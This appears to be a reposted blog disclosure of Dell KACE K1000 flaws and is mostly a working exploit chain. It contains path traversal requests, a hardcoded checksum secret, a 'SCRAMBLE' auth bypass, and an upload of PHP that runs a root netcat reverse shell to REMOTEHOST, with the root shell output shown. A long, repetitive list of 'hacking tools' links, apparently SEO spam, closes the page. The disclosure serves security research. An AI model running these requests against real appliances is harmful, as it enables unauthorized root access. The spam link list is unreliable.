martes, 25 de agosto de 2020

The Curious Case Of The Ninjamonkeypiratelaser Backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;
That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:
    private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
     
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this "calcTokenChecksumcheck, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  
 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)

From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").


The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 
Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
    http://targethost/service/tmp/db.php
On our host:
    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:
Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1
That all adds up to owned last time I checked.

Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py

Example usage can be seen below:


Related news
  1. Hacking Tools For Windows Free Download
  2. Pentest Tools Website Vulnerability
  3. Hacking Tools Windows
  4. Black Hat Hacker Tools
  5. Hacker Hardware Tools
  6. Hacker Search Tools
  7. Hacking Tools 2020
  8. Pentest Tools Apk
  9. How To Install Pentest Tools In Ubuntu
  10. Pentest Tools Apk
  11. Hack Tools 2019
  12. Hacker Tools Apk Download
  13. Tools 4 Hack
  14. Pentest Tools For Windows
  15. Pentest Tools Kali Linux
  16. Beginner Hacker Tools
  17. Pentest Tools Bluekeep
  18. How To Make Hacking Tools
  19. Hacking Tools 2020
  20. Hacking Tools For Windows
  21. Hack And Tools
  22. Hack Tools 2019
  23. Hack Tool Apk No Root
  24. Hacking Tools For Games
  25. Pentest Tools Tcp Port Scanner
  26. Bluetooth Hacking Tools Kali
  27. Hack Tools For Pc
  28. Hacker Tools Apk Download
  29. Hacking App
  30. Hacking Tools 2019
  31. Best Hacking Tools 2019
  32. Best Pentesting Tools 2018
  33. Top Pentest Tools
  34. Best Hacking Tools 2020
  35. Kik Hack Tools
  36. Pentest Tools Open Source
  37. Pentest Tools Open Source
  38. Pentest Tools Open Source
  39. Hacking Apps
  40. New Hacker Tools
  41. Hacking Tools
  42. How To Hack
  43. Pentest Tools Bluekeep
  44. Hacker Techniques Tools And Incident Handling
  45. Hacking Tools Windows
  46. Hacker Tools Hardware
  47. Hacking Tools Github
  48. Hacking Tools For Games
  49. Hacking Tools For Windows 7
  50. Hacker Tools List
  51. Hacker Tools 2020
  52. Underground Hacker Sites
  53. Hacking Tools Windows
  54. Termux Hacking Tools 2019
  55. New Hacker Tools
  56. Hack Tools Online
  57. Install Pentest Tools Ubuntu
  58. Hacking Tools 2019
  59. Pentest Tools Open Source
  60. Nsa Hack Tools Download
  61. Hacking Tools 2020
  62. Hacking Tools 2019
  63. Hacking Tools
  64. Hack Tools Pc
  65. Pentest Tools Subdomain
  66. Hack Tools For Pc
  67. Underground Hacker Sites
  68. Hack Website Online Tool
  69. Hacker Tools Windows
  70. Hacker Tools Github
  71. Pentest Tools Url Fuzzer
  72. Pentest Tools Tcp Port Scanner
  73. Install Pentest Tools Ubuntu
  74. Nsa Hacker Tools
  75. Pentest Tools Bluekeep
  76. Pentest Tools For Mac
  77. Hacker Tools
  78. Pentest Tools
  79. Hacker Tools Hardware
  80. Hacker Tools Free
  81. Kik Hack Tools
  82. Hackrf Tools
  83. What Are Hacking Tools
  84. Hacker Tools
  85. Pentest Tools Alternative
  86. Hack Tool Apk No Root
  87. Easy Hack Tools
  88. Hack Tools Download
  89. Pentest Tools Website Vulnerability
  90. Top Pentest Tools
  91. World No 1 Hacker Software
  92. Pentest Tools List
  93. Hacker Tools Apk Download
  94. Growth Hacker Tools
  95. Hacking Tools 2019
  96. World No 1 Hacker Software
  97. Best Pentesting Tools 2018
  98. Hack Tools
  99. Hacking App
  100. Pentest Tools Website Vulnerability
  101. Hacker Hardware Tools
  102. Tools 4 Hack
  103. Hacking Tools For Windows Free Download
  104. Hacker Techniques Tools And Incident Handling
  105. Pentest Tools Website
  106. Hacking Tools Github
  107. Hack Tools For Mac
  108. Hack Tools For Mac
  109. Pentest Tools Apk
  110. Hacker Tools Apk
  111. Hacking Tools Software
  112. Pentest Tools Review
  113. Hack Tools For Games
  114. Hacker Tools
  115. Pentest Tools Url Fuzzer
  116. Best Pentesting Tools 2018
  117. Hacking Tools Github
  118. Pentest Tools Alternative
  119. Hack Tools Pc
  120. Hack Tools For Pc
  121. Hack Tools Download
  122. Kik Hack Tools
  123. Pentest Tools Android
  124. Github Hacking Tools
  125. Tools 4 Hack
  126. Hack Tools
  127. Game Hacking
  128. Pentest Tools Github
  129. Pentest Tools Download
  130. How To Install Pentest Tools In Ubuntu
  131. Pentest Tools Bluekeep
  132. Android Hack Tools Github
  133. What Are Hacking Tools
  134. Hacker Tools
  135. Kik Hack Tools
  136. Install Pentest Tools Ubuntu
  137. Physical Pentest Tools
  138. Hacker Tools
  139. Hacker Tools Apk Download
  140. Pentest Automation Tools
  141. Pentest Tools Framework
  142. Pentest Tools Nmap
  143. Hacker Tools Linux
  144. Hack Tools For Windows
  145. Pentest Tools Port Scanner
  146. Hack Tools For Mac

No hay comentarios:

Archivo del blog

Datos personales